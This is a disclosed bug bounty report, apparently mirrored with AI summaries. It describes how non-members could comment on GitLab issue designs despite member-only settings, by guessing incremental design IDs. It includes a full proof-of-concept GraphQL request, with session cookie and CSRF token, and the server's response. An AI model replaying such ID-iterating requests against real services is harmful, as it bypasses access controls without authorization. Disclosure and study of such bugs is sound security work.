Non Project Member of Public Project Can Comment and Reply to Issue Design Even if "Only Project Members" Set for Issues in Settings
A non-project member could comment on and reply to design images in public projects where the 'Only Project Members' setting was enabled for issues. The attacker could guess incremental design IDs to post comments on any design.
GitLab
Originally disclosed on GitLab
- Fixed in 4 months
- Disclosed after 4 months
HackerOne report #678986 by rafiem on 2019-08-22, assigned to estrike:
Hi Team,
I have found improper access control on issue design in the public project. There is a new feature in issues that enable user to upload design image to spesific issue. Anyone that have read access to the issue then can comment and reply to a design image in the issue. But, in case of Public Projects that set the "Only Project Members" to Issues in settings, non project member still able to comment and reply to spesific design of issue. Because of "Design ID" is incremental and easy to guess, attacker can easily iterate the number of "Design ID" and another case of attack is, previously attacker is member of the projects and he save all the design id of issues on the projects.
Proof of Concept
1.) Incase user A have a public project that enabled "Only Project Members" to the Issues in the settings
2.) In one of the issues, user A upload a design and the design have an ID of "162"
3.) Attacker then can iterate the ID to comment on any issues on public project that enabled "Only Project Members" or attacker previously part of the project member and save the design id
4.) Request perform by attacker :
POST /api/graphql HTTP/1.1
Host: gitlab.com
Connection: close
Content-Length: 1139
accept: */*
Origin: https://gitlab.com
X-CSRF-Token: qIqkC6CRpfKUXSOqiYaKes6quuFYkkLBEpwZBXG1AzK7zdX50niBVRl/5x7xB6Pb3i786K6OL6vbyI75YxoRgQ==
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
content-type: application/json
Referer: https://gitlab.com/bajigur/cuk1/issues/10/designs/user_wall.png
Accept-Encoding: gzip, deflate
Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: sidebar_collapsed=false; _biz_uid=ea1b7c6c852741a1b91c529230ca6360; _mkto_trk=id:194-VVC-221&token:_mch-gitlab.com-1561483345548-60566; _ga=GA1.2.1915876956.1561483347; _fbp=fb.1.1561483346763.1551130490; vid=acec44df-0d42-4f26-9ce8-964c785c893f; event_filter=all; _gid=GA1.2.315320630.1566358252; _gitlab_session=88e87632b979666cb39f91edd74bb5bf; _hjid=bbb97822-c8f1-4731-91ad-87c5ab0219dc; _biz_flagsA=%7B%22Version%22%3A1%2C%22XDomain%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22Frm%22%3A%221%22%7D; _biz_nA=46; _biz_pendingA=%5B%5D; frequently_used_emojis=thumbsdown
[{"operationName":"createImageDiffNote","variables":{"input":{"noteableId":"gid://gitlab/DesignManagement::Design/162","body":"BRAND NEW MESSAGE !","position":{"headSha":"asd","baseSha":"asd","startSha":"asd","x":1,"y":1,"width":1,"height":100,"paths":{"newPath":"asd"}}}},"query":"mutation createImageDiffNote($input: CreateImageDiffNoteInput!) {\n createImageDiffNote(input: $input) {\n note {\n ...DesignNote\n discussion {\n id\n replyId\n notes {\n edges {\n node {\n ...DesignNote\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n __typename\n }\n}\n\nfragment DesignNote on Note {\n id\n author {\n avatarUrl\n name\n username\n webUrl\n __typename\n }\n body\n bodyHtml\n createdAt\n position {\n diffRefs {\n ...DesignDiffRefs\n __typename\n }\n x\n y\n height\n width\n __typename\n }\n __typename\n}\n\nfragment DesignDiffRefs on DiffRefs {\n baseSha\n startSha\n headSha\n __typename\n}\n"}]
Note that attacker doesnt need to specify the correct position and newPath of the design, in the example the value is "asd"
5.) Response received :
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 22 Aug 2019 00:33:30 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 90
Connection: close
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, HEAD, POST, PUT, PATCH, DELETE, OPTIONS
Access-Control-Allow-Origin: https://gitlab.com
Access-Control-Expose-Headers: Link, X-Total, X-Total-Pages, X-Per-Page, X-Page, X-Next-Page, X-Prev-Page
Access-Control-Max-Age: 1728000
Cache-Control: max-age=0, private, must-revalidate, no-store
Etag: W/"124339246668e4ec9bff1f954ae2f02e"
Pragma: no-cache
Referrer-Policy: strict-origin-when-cross-origin
Vary: Origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: yc5uR9G0zP1
X-Runtime: 0.174266
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000
Referrer-Policy: strict-origin-when-cross-origin
RateLimit-Limit: 600
RateLimit-Observed: 2
RateLimit-Remaining: 598
RateLimit-Reset: 1566434070
RateLimit-ResetTime: Thu, 22 Aug 2019 00:34:30 GMT
[{"data":{"createImageDiffNote":{"note":null,"__typename":"CreateImageDiffNotePayload"}}}]
6.) User A then check the targeted design and can view the attacker comment on the design issue
<>PoC Video Attached
Impact
Non project members can comment and reply to design in the public projects that enabled "Only Project Members" to Issues
Best Regards,
@rafiem
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the GraphQL mutation for creating image diff notes did not verify that the user had permission to comment on the design, only that the design existed.
Impact
Non-project members could comment and reply to designs in public projects that had the 'Only Project Members' setting enabled for issues.
What the attacker needed
Public project with 'Only Project Members' for issues; attacker knows or guesses design ID
How it was found
- User A creates a public project and enables 'Only Project Members' for issues.
- User A uploads a design to an issue, which gets a numeric ID.
- Attacker guesses or knows the design ID.
- Attacker sends a GraphQL mutation to create a comment on that design.
- The comment is successfully posted and visible to User A.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In GitLab, projects can be public but restrict issue access to members only. However, design images attached to issues had a separate comment feature that did not check this restriction. An outsider could guess the design's ID number and post comments, even though they shouldn't have access.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.